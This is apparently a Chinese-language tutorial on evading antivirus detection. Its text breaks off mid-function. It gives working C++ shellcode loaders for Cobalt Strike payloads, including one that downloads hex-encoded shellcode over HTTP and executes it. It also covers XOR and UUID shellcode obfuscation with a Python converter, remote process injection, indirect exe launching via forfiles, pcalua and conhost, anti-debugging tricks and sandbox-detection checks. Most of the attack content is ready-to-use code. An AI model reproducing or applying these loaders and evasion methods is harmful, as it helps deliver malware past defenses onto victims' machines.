基础免杀手法暴风吸入

目录


前面的话:”免杀一般都是靠组合拳”

EXE

加壳

没什么好说的。可以自写加壳器等等

添加数字签名

不同的杀软对数字签名的敏感性不同,有些杀软可能只检查一下有没有数字签名就过了,有些杀软可能要去验证一下数字签名的正确性,有些可能管都不管数字签名。只能说添加数字签名能稍微提升一下exe的免杀几率。

间接运行exe

平时我们运行一个exe: cmd /c c:\a.exe 但这样容易被杀或者命令被ban。所有就有一些间接运行exe的方法

forfiles

forfiles是一个用于批处理的一个工具,它在找到文件后会执行指定的命令.

forfiles /p 指定搜索文件的目录 /m 指定搜索关键词 /c 指定要执行的命令
forfiles /p c:\windows\system32 /m calc.exe /c c:\tmp\evil.exe  //evil.exe会成为forfiles.exe的子进程

pcalua

pcalua -a c:\tmp\evil.exe  //evil.exe不会成为子进程

cmd Hijack

下面命令将弹计算器

cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../../windows/system32/calc.exe"

cmd.exe /c "ping ;a.exe; 127.0.0.1/../../../../../../../../../windows/system32/calc.exe"

ping ;a.exe 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe

conhost

大于win7可用

conhost c:\windows\system32\calc.exe
conhost adsadas/../../../../../../../../../windows/system32/calc.exe

以下指令win10某些版本无法使用
conhost "asddas c:\windows\system32\calc.exe"

explorer.exe

explorer.exe c:\windows\system32\calc.exe
explorer asdsadasd,"c:\windows\system32\calc.exe"

C++

shellcode处理

指针执行+申请内存动态加载shellcode

首先从cobalt strike上生成拿到shellcode用作本次测试。 然后通过下面的代码,直接执行写死在程序里的shellcode。

#include <iostream>
#include<Windows.h>

int main()
{
    unsigned char buf[] = "shellcode";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

QQ截图20210217145713

可以看见,还是很拉跨的。

内联汇编加载shellcode

c++有强大的内联汇编功能,上次写壳的时候就感受了一番。 我们可以通过内联汇编代码加载shellcode.顺便加花什么的,都可以弄。

#include <iostream>
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib,"user32.lib")

int main()
{
  unsigned char buf[] = "shellcode";
  _asm {
    lea eax, buf;
    jmp eax;
  }
}

QQ截图20210217145723

还是蛮拉跨的,虽然我没有加花。

创建线程执行shellcode

    unsigned char buf[] = "shellcode";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);  
  DWORD dwThreadId = 0;
  HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)exec, NULL, NULL, &dwThreadId);
  WaitForSingleObject(hThread, INFINITE);

使用辅助堆栈加载shellcode

heapcreate 可以创建辅助堆栈并设置堆栈属性,然后用heapalloc分配堆栈大小

  char shellcode[] = "";
  HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
  PVOID Mptr = HeapAlloc(hHep, 0, sizeof(shellcode));
  RtlCopyMemory(Mptr, shellcode, sizeof(shellcode));
  //然后就是对Mptr这段区域进行执行,如((void(*)())exec)()或创建线程执行等

HTTP协议远程读取shellcode

这次我们不把shellcode写死在程序之中,而是通过程序发起http请求向外界获得shellcode并执行。 这里涉及到winhttp.h的一些函数的使用。

源码借用一下 卿 的代码。它的代码是直接把shellcode的十六进制以字符串形式直接放到远程服务器上。像这样

QQ截图20210217145737

#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            //char ShellCode[1024];
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            //strcpy(ShellCode,pszOutBuffer);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

大致流程便是:

1.通过winhttp中的函数,以HTTP的方法获取远程服务器上的shellcode(此时shellcode在内存中是按照编码结果存储的,如下图,左边是内存原文,右边是内存解码(shellcode))

QQ截图20210217145818

2.开辟一段内存,然后通过sscanf等方法读取存储shellcode变量的内容,将内存解码信息录入新的内存空间,使shellcode存在于内存中 3.执行shellcode,可以用指针执行等方法执行。

使用回调函数加载shellcode

windows API中有很多支持回调函数的API,这就意味着我们可以调用此类API并在用作回调函数的参数中传入shellcode,在API满足一些条件后便会执行它的回调函数,对于我们就是说执行我们的shellcode。

举几个例子

sc是指向shellcode区域的指针

EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)sc, LGRPID_INSTALLED, NULL);

ImmEnumInputContext(0, (IMCENUMPROC)sc, 1);

也挺好找的,在微软文档上直接搜CALLBACK就能搜到一大堆回调函数。

image-20211111145543525

我在ropgadget博客上也嫖到了一些。

AddClusterNode  BluetoothRegisterForAuthentication  CMTranslateRGBsExt
CallWindowProcA  CallWindowProcW  CreateCluster
CreateDialogIndirectParamA  CreateDialogIndirectParamW  CreateDialogParamA
CreateDialogParamW  CreatePrintAsyncNotifyChannel  CreateTimerQueueTimer
DavRegisterAuthCallback  DbgHelpCreateUserDump  DbgHelpCreateUserDumpW
DdeInitializeA  DdeInitializeW  DestroyCluster
DialogBoxIndirectParamA  DialogBoxIndirectParamW  DialogBoxParamA
DialogBoxParamW  DirectSoundCaptureEnumerateA  DirectSoundCaptureEnumerateW
DirectSoundEnumerateA  DirectSoundEnumerateW  DrawStateA
DrawStateW  EnumCalendarInfoA  EnumCalendarInfoW
EnumChildWindows  EnumDateFormatsA  EnumDateFormatsW
EnumDesktopWindows  EnumDesktopsA  EnumDesktopsW
EnumEnhMetaFile  EnumFontFamiliesA  EnumFontFamiliesExA
EnumFontFamiliesExW  EnumFontFamiliesW  EnumFontsA
EnumFontsW  EnumICMProfilesA  EnumICMProfilesW
EnumLanguageGroupLocalesA  EnumLanguageGroupLocalesW  EnumMetaFile
EnumObjects  EnumPropsExA  EnumPropsExW
EnumPwrSchemes  EnumResourceLanguagesA  EnumResourceLanguagesExA
EnumResourceLanguagesExW  EnumResourceLanguagesW  EnumResourceNamesA
EnumResourceNamesExA  EnumResourceNamesExW  EnumResourceNamesW
EnumResourceTypesA  EnumResourceTypesW  EnumResourceTypesExA
EnumResourceTypesExW  EnumResourceTypesW  EnumSystemCodePagesA
EnumSystemCodePagesW  EnumSystemLanguageGroupsA  EnumSystemLanguageGroupsW
EnumSystemLocalesA  EnumSystemLocalesW  EnumThreadWindows
EnumTimeFormatsA  EnumTimeFormatsW  EnumUILanguagesA
EnumUILanguagesW  EnumWindowStationsA  EnumWindowStationsW
EnumWindows  EnumerateLoadedModules  EnumerateLoadedModulesEx
EnumerateLoadedModulesExW  EventRegister  GetApplicationRecoveryCallback
GrayStringA  GrayStringW  KsCreateFilterFactory
KsMoveIrpsOnCancelableQueue  KsStreamPointerClone  KsStreamPointerScheduleTimeout
LineDDA  MFBeginRegisterWorkQueueWithMMCSS  MFBeginUnregisterWorkQueueWithMMCSS
MFPCreateMediaPlayer  MQReceiveMessage  MQReceiveMessageByLookupId
NotifyIpInterfaceChange  NotifyStableUnicastIpAddressTable  NotifyTeredoPortChange
NotifyUnicastIpAddressChange  PerfStartProvider  PlaExtractCabinet
ReadEncryptedFileRaw  RegisterApplicationRecoveryCallback  RegisterForPrintAsyncNotifications
RegisterServiceCtrlHandlerExA  RegisterServiceCtrlHandlerExW  RegisterWaitForSingleObject
RegisterWaitForSingleObjectEx  SHCreateThread  SHCreateThreadWithHandle
SendMessageCallbackA  SendMessageCallbackW  SetTimerQueueTimer
SetWinEventHook  SetWindowsHookExA  SetWindowsHookExW
SetupDiRegisterDeviceInfo  SymEnumLines  SymEnumLinesW
SymEnumProcesses  SymEnumSourceLines  SymEnumSourceLinesW
SymEnumSymbols  SymEnumSymbolsForAddr  SymEnumSymbolsForAddrW
SymEnumSymbolsW  SymEnumTypes  SymEnumTypesByName
SymEnumTypesByNameW  SymEnumTypesW  SymEnumerateModules
SymEnumerateModules64  SymEnumerateSymbols  SymEnumerateSymbols64
SymEnumerateSymbolsW  SymSearch  SymSearchW
TranslateBitmapBits  WPUQueryBlockingCallback  WdsCliTransferFile
WdsCliTransferImage  WinBioCaptureSampleWithCallback  WinBioEnrollCaptureWithCallback
WinBioIdentifyWithCallback  WinBioLocateSensorWithCallback  WinBioRegisterEventMonitor
WinBioVerifyWithCallback  WlanRegisterNotification  WriteEncryptedFileRaw
WsPullBytes  WsPushBytes  WsReadEnvelopeStart
WsRegisterOperationForCancel  WsWriteEnvelopeStart  mciSetYieldProc
midiInOpen  midiOutOpen  mixerOpen
mmioInstallIOProcA  mmioInstallIOProcW  waveInOpen
waveOutOpen

使用加载器加载shellcode

shellcode_ launcher 加载器

https://github.com/clinicallyinane/shellcode_launcher/

用msf或者cs生成raw形式shellcode,然后使用这个加载器加载一下就行了. 像这样 shellcode_launcher.exe -i C:\payload32.bin shellcode_ launcher 在virustotal上报毒率也是很高很高了…

SSI 加载器

https://github.com/DimopoulosElias/SimpleShellcodeInjector

cs生成c形式shellcode,然后去除\x,再拿给ssi加载器加载,像这样

QQ截图20210217145832

ssi.exe shellcode 即可完成加载

ssi在virustotal上报毒率也是非常高..

自写加载器

ssi源码很简单大家可以参考写一下

shellcode变形

大思路就是把shellcode混淆后,放入加载器加载运行。 其细分思路就包括怎么把shellcode进行混淆了,简单的有XOR,BASE64,复杂一点的有AES等。 这里就只说说xor。 首先我们得准备一个程序将shellcode进行混淆。图方便就拿python写也是蛮不错的。 随便写了一个。效果真不戳(虽然上传了vt过两天就肯定不能用了)

QQ截图20210217145855

github:https://github.com/ConsT27/SimpleXORshellcode

UUID变形

可以把shellcode变形为UUID,要用的时候再变回来。

相关API有

RPC_STATUS UuidFromString(
  RPC_CSTR StringUuid,
  UUID     *Uuid
);
功能:将字符串UUID转换为UUID结构。

RPC_STATUS UuidCreate(
  UUID *Uuid
);
功能:创建UUID结构。

int UuidEqual(
  UUID       *Uuid1,
  UUID       *Uuid2,
  RPC_STATUS *Status
);
功能:判断两个UUID是否相等。

这里借用倾璇的UUID生成脚本来生产shellcode对应的UUID

from uuid import UUID
import os
import sys

# Usage: python3 binToUUIDs.py shellcode.bin [--print]

print("""
  ____  _    _______    _    _ _    _ _____ _____       
 |  _ \(_)  |__   __|  | |  | | |  | |_   _|  __ \      
 | |_) |_ _ __ | | ___ | |  | | |  | | | | | |  | |___  
 |  _ <| | '_ \| |/ _ \| |  | | |  | | | | | |  | / __| 
 | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ 
 |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/
\n""")

with open(sys.argv[1], "rb") as f:
    bin = f.read()

if len(sys.argv) > 2 and sys.argv[2] == "--print":
    outputMapping = True
else:
    outputMapping = False

offset = 0

print("Length of shellcode: {} bytes\n".format(len(bin)))

out = ""

while(offset < len(bin)):
    countOfBytesToConvert = len(bin[offset:])
    if countOfBytesToConvert < 16:
        ZerosToAdd = 16 - countOfBytesToConvert
        byteString = bin[offset:] + (b'\x00'* ZerosToAdd)
        uuid = UUID(bytes_le=byteString)
    else:
        byteString = bin[offset:offset+16]
        uuid = UUID(bytes_le=byteString)
    offset+=16

    out += "\"{}\",\n".format(uuid)

    if outputMapping:
        print("{} -> {}".format(byteString, uuid))

with open(sys.argv[1] + "UUIDs", "w") as f:
    f.write(out)

print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))

image-20211110214628133

然后实际加载器文件为

#pragma comment(lib,"Rpcrt4.lib")

int main(int argc, char* argv[]) {
  const char * buf[] = { "0089e8fc-0000-8960-e531-d2648b52308b",
"528b0c52-8b14-2872-0fb7-4a2631ff31c0",
"7c613cac-2c02-c120-cf0d-01c7e2f05257",
"8b10528b-3c42-d001-8b40-7885c0744a01",
  };
  const int num = sizeof(buf) / sizeof(buf[0]);
  HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
  if (hMemory == NULL) {
    return -1;
  }
  PVOID pMemory = HeapAlloc(hMemory, 0, 2048);

  DWORD_PTR CodePtr = (DWORD_PTR)pMemory;
  for (int i = 0; i < num; i++) {
    RPC_STATUS  status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr);
    CodePtr += 16;
  }
  DWORD dwThreadId = 0;
  HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pMemory, NULL, NULL, &dwThreadId);
  WaitForSingleObject(hThread, INFINITE);
}

image-20211111142159645

shellcode注入进程内存

注入已有进程

大致逻辑:OpenProcess获得进程句柄->VirtualAllocEx在进程中开辟一段内存空间->WriteProcessMemory向刚刚开辟的内存空间中写入shellcode->CreateRemoteThread为刚刚写入的shellcode创建一个线程执行

#include <iostream>
#include<Windows.h>

int main()
{
  unsigned char buf[] = "shellcode";
  DWORD pid = 25388;
  HANDLE Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  if (!Proc) {
    std::cout << GetLastError() << std::endl;
  }
  LPVOID buffer = VirtualAllocEx(Proc, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  if (buffer) {
    std::cout << GetLastError() << std::endl;
  }
  if (WriteProcessMemory(Proc, buffer, buf, sizeof(buf), 0) ){
    std::cout << GetLastError() << std::endl;
  }
  HANDLE remotethread = CreateRemoteThread(Proc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
}

效果:虽然也很拉,但是静态过了趋势是我没想到的。

QQ截图20210217145906

反调试

可以通过反调试来规避杀软检测,拖慢逆向工程师分析速度,但也有可能提高被判为恶意文件的概率。

直接判断是否为调试状态

if (IsDebuggerPresent()) return FALSE;

PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;

BOOL ret;  
CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);  
return ret;  
NtQueryInformationProcess

这个函数用来获取某进程的信息。
需要动态链接库 #pragma comment(lib,"ntdll")
当然也可以用GetProcAddress动态获取这个函数。
这个函数第一个参数指定进程句柄,第二个参数指定进程的特定结构,第三个参数获取返回值,第四个参数是返回值缓冲区大小,第五个填NULL
其中与反调试有关的成员有ProcessDebugPort(0x7)、ProcessDebugObjectHandle(0x1E)和ProcessDebugFlags(0x1F)
ProcessDebugPort参数,若没在调试中,则该函数返回0,若在调试中则返回对应的调试端口
其他参数也类似

看雪上houjingyi师傅的演示代码

BOOL CheckDebug()  
{  
    int debugPort = 0;  
    HMODULE hModule = LoadLibrary("Ntdll.dll");  
    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");  
    NtQueryInformationProcess(GetCurrentProcess(), 0x7, &debugPort, sizeof(debugPort), NULL);  
    return debugPort != 0;  
}  

BOOL CheckDebug()  
{  
    HANDLE hdebugObject = NULL;  
    HMODULE hModule = LoadLibrary("Ntdll.dll");  
    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");  
    NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &hdebugObject, sizeof(hdebugObject), NULL);  
    return hdebugObject != NULL;  
}  

BOOL CheckDebug()  
{  
    BOOL bdebugFlag = TRUE;  
    HMODULE hModule = LoadLibrary("Ntdll.dll");  
    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");  
    NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &bdebugFlag, sizeof(bdebugFlag), NULL);  
    return bdebugFlag != TRUE;  
}  

检测软件断点

当我们在调试器中对一行代码打上断点时,实质上是将这行代码改为了0xcc,即INT 3,中断异常,所以调试器运行到此处时会停止。 那么我们就可以通过检测代码中是否有0xcc来判断是否被打上了软件断点,从而起到反调试的作用。

要做到这一点,可以使用汇编代码中的 repne scasb 指令,其第一个参数是缓冲区的起始地址,第二个参数是缓冲区大小,第三个参数是匹配的字符串。它会在指定的缓冲区内寻找字符串,若没有找到则返回.

时间检测

int t1 = GetTickCount64();
Hack(); //一个函数,诱导分析人员在调试的时候跟进进去耽误时间
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) {
return FALSE;
}  //t1,t2检测时间过大则会是调试

wprintf_s(L"Now hacking more...\n");

也可以用内联汇编完成
BOOL CheckDebug()  
{  
    DWORD time1, time2;  
    __asm  
    {  
        rdtsc  
        mov time1, eax
        ........垃圾代码,耽误分析人员时间
        rdtsc  
        mov time2, eax  
    }  
    if (time2 - time1 < 0xff)  
    {  
        return FALSE;  
    }  
    else  
    {  
        return TRUE;  
    }  
}  

检测父进程

见沙箱绕过章节中的“检测父进程”

SEH中断

不是很懂

void AD_BreakPoint()  
{  
    printf("SEH : BreakPoint\n");  

    __asm {  
        // install SEH  
        push handler  
        push DWORD ptr fs:[0]  
        mov DWORD ptr fs:[0], esp  

        // generating exception  
        int 3  

        // 1) debugging  
        //    go to terminating code  
        mov eax, 0xFFFFFFFF  
        jmp eax                 // process terminating!!!  

        // 2) not debugging  
        //    go to normal code  
handler:  
        mov eax, dword ptr ss:[esp+0xc]  
        mov ebx, normal_code  
        mov dword ptr ds:[eax+0xb8], ebx  
        xor eax, eax  
        retn  

normal_code:  
        //   remove SEH  
        pop dword ptr fs:[0]  
        add esp, 4  
    }  

    printf("  => Not debugging...\n\n");  
}  

int _tmain(int argc, TCHAR* argv[])  
{  
    AD_BreakPoint();  

    return 0;  
}

沙箱绕过(Sandbox Evasion)

System Checks

检测当前环境是否是沙箱环境,如果是沙箱则不表现出恶意行为。

检测函数是否被HOOK更改

有些沙箱会对一些函数进行HOOK更改,我们可以通过在原DLL中查找原函数与进程中的函数进行比对从而判断其是否被HOOK. 这里是别人的代码(RedTeaming)

// manually load the dll
HANDLE dllFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dllFileSize = GetFileSize(dllFile, NULL);
HANDLE hDllFileMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
HANDLE pDllFileMappingBase = MapViewOfFile(hDllFileMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(dllFile);

// analyze the dll
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllFileMappingBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDllFileMappingBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pDllFileMappingBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNameOrdinals);

// find the original function code
PVOID pNtCreateThreadExOriginal = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
  PCSTR pFunctionName = (PSTR)((PBYTE)pDllFileMappingBase + pAddressOfNames[i]);
  if (!strcmp(pFunctionName, "NtCreateThreadEx"))
  {
    pNtCreateThreadExOriginal = (PVOID)((PBYTE)pDllFileMappingBase + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
    break;
  }
}

// compare functions
PVOID pNtCreateThreadEx = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
if (memcmp(pNtCreateThreadEx, pNtCreateThreadExOriginal, 16)) return false;

GetTickCount

GetTickCount 是win32 API之一,用来记录电脑开机后的运行时间(以毫秒为单位) 我们可以通过这个函数检测当前环境的运行时间,如果时间很短那么就有可能是沙箱。

为什么时间很短就可能是沙箱环境呢?沙箱对恶意程序的检测流程大致如下

1.启动虚拟环境
2.将恶意程序复制进虚拟环境
3.运行恶意程序一段时间(一般为5分钟)
4.获取虚拟环境返回的报告
5.关机

全程不过6.7分钟,而正常的机器运行时间肯定是大于这个值的。那么我们就可以定一个标准:如果GetTickCount返回的值小于10min,那么就被判为沙箱环境。

CPU,RAM等信息

沙箱的CPUI多为1核,ram多小于2g,硬盘大小多小于100g。我们可以以此为一个基准进行沙箱检测。

//cpu processors
SYSTEM_INFO systeminfo;
  GetSystemInfo(&systeminfo);
  DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;

//ram
  MEMORYSTATUSEX memoryStatus;
  memoryStatus.dwLength = sizeof(memoryStatus);
  GlobalMemoryStatusEx(&memoryStatus);
  DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;

//hdd(硬盘大小)
  HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
  DISK_GEOMETRY pDiskGeometry;
  DWORD bytesReturned;
  DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
  DWORD diskSizeGB;
  diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;

  printf("cpu:%d,ram:%d,size(gb):%d", numberOfProcessors, RAMMB, diskSizeGB);

mac

常见虚拟机如vmware,viturl box等都有特殊的mac地址,可以以此为依据判断是否在虚拟机中(随着虚拟化主机越来越普遍,许多公司将业务系统也搬进了虚拟机,这个方法已不太能作为检测沙箱的指标)

“通常,MAC地址的前三个字节标识一个提供商。以00:05:69、00:0c:29和00:50:56开始的MAC地址与VMware相对应;以00:03:ff开始的MAC地址与virtualpc对应;以08:00:27开始的MAC地址与virtualbox对应。”



  string mac;
    get_3part_mac(mac);
    if (mac == "00-05-69" || mac == "00-0c-29" || mac == "00-50-56" || mac == "00-03-ff" || mac == "08-00-27") {

    }
    else {

    }

void get_3part_mac(string &mac)  
{  
    NCB Ncb;  
    ASTAT Adapter;  
    UCHAR uRetCode;  
    LANA_ENUM lenum;  
    memset(&Ncb, 0, sizeof(Ncb));  
    Ncb.ncb_command = NCBENUM;  
    Ncb.ncb_buffer = (UCHAR *)&lenum;  
    Ncb.ncb_length = sizeof(lenum);  
    uRetCode = Netbios(&Ncb);  
    for (int i = 0; i < lenum.length; i++)  
    {  
        memset(&Ncb, 0, sizeof(Ncb));  
        Ncb.ncb_command = NCBRESET;  
        Ncb.ncb_lana_num = lenum.lana[i];  
        uRetCode = Netbios(&Ncb);  
        memset(&Ncb, 0, sizeof(Ncb));  
        Ncb.ncb_command = NCBASTAT;  
        Ncb.ncb_lana_num = lenum.lana[i];  
        strcpy((char *)Ncb.ncb_callname, "*");  
        Ncb.ncb_buffer = (unsigned char *)&Adapter;  
        Ncb.ncb_length = sizeof(Adapter);  
        uRetCode = Netbios(&Ncb);  
        if (uRetCode == 0)  
        {  
            char tmp[128];  
            sprintf(tmp, "%02x-%02x-%02x",  
                Adapter.adapt.adapter_address[0],  
                Adapter.adapt.adapter_address[1],  
                Adapter.adapt.adapter_address[2]  
            );  
            mac = tmp;  
        }  
    }  
}  

分辨率

沙箱的分辨率都不太正常

检查时区与时间流动性

沙箱往往会加速运行文件,故可以检查时间流动性是否正常从而检测沙箱

    //时区
    DYNAMIC_TIME_ZONE_INFORMATION DynamicTimeZoneInfo;
    GetDynamicTimeZoneInformation(&DynamicTimeZoneInfo);
    wchar_t wcTimeZoneName[128 + 1];
    StringCchCopyW(wcTimeZoneName, 128, DynamicTimeZoneInfo.TimeZoneKeyName);
    CharUpperW(wcTimeZoneName);
    if (!wcsstr(wcTimeZoneName, L"CHINA STANDARD TIME")) {

    }

    //流动性
    clock_t ClockStartTime, ClockEndTime;
    time_t UnixStartTime = time(0);
    ClockStartTime = clock();
    Sleep(10000);
    ClockEndTime = clock();
    time_t UnixEndTime = time(0);
    int iTimeDifference = ((UnixEndTime - UnixStartTime) * 1000) - (ClockEndTime - ClockStartTime);
    if (iTimeDifference>150){
//*code
    }

检测文件名是否被沙箱更改

wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"evil.EXE")) return false;

Time-Based Evasion

基于时间的规避。即恶意软件在目标系统上运行后并不会立刻进行恶意行动,而是会伪装、休眠一段时间,等到一定时间后再开始恶意行动

使用网络连接实时读取启动指令

意思就是说该程序会不断向某个网址发送请求包,如果网址返回了对应的启动指令则开始调用恶意代码。

下图是用HTTP请求获取网页内容的代码。

  HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  HINTERNET hConnection = WinHttpConnect(hSession, L"www.baidu.com", INTERNET_DEFAULT_HTTP_PORT, 0);
  HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
  WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
  WinHttpReceiveResponse(hRequest, 0);
  DWORD responseLength;
  WinHttpQueryDataAvailable(hRequest, &responseLength);
  PVOID response = new char[responseLength + 1];
  WinHttpReadData(hRequest, response, responseLength, &responseLength);
  std::cout << ((char *)response);

User Activity Based Checks

通过检测一些行为,来识别当前实施者是否为人类。(比如动鼠标,敲键盘等,或者查询电脑上word文档打开历史数,chrome历史记录等信息来判断)

鼠标移动轨迹

可以设置鼠标移动多少距离才执行shellcode,沙箱有些是没有鼠标的。

POINT CurrentMousePos;
    POINT PreviousMousePos;
    GetCursorPos(&PreviousMousePos);
    double Dis = 0;
    while (true)
    {
        GetCursorPos(&CurrentMousePos);
        Dis+= sqrt(pow(CurrentMousePos.x - PreviousMousePos.x, 2) + pow(CurrentMousePos.y - PreviousMousePos.y, 2));
        Sleep(100);
        if (Dis > 20000) {
//*code
        }

    }

检测父进程

对于一个正常的用户来说,启动exe文件应该是双击运行,程序启动后父进程是explore.exe,如果是cmd运行则会是cmd.exe、 但是对于沙箱就有可能存在用一个程序如windbg来启动我们的恶意EXE文件,这个时候我们就需要对此点进行检测。

DWORD GetParentPID(DWORD pid)
{
  DWORD ppid = 0;
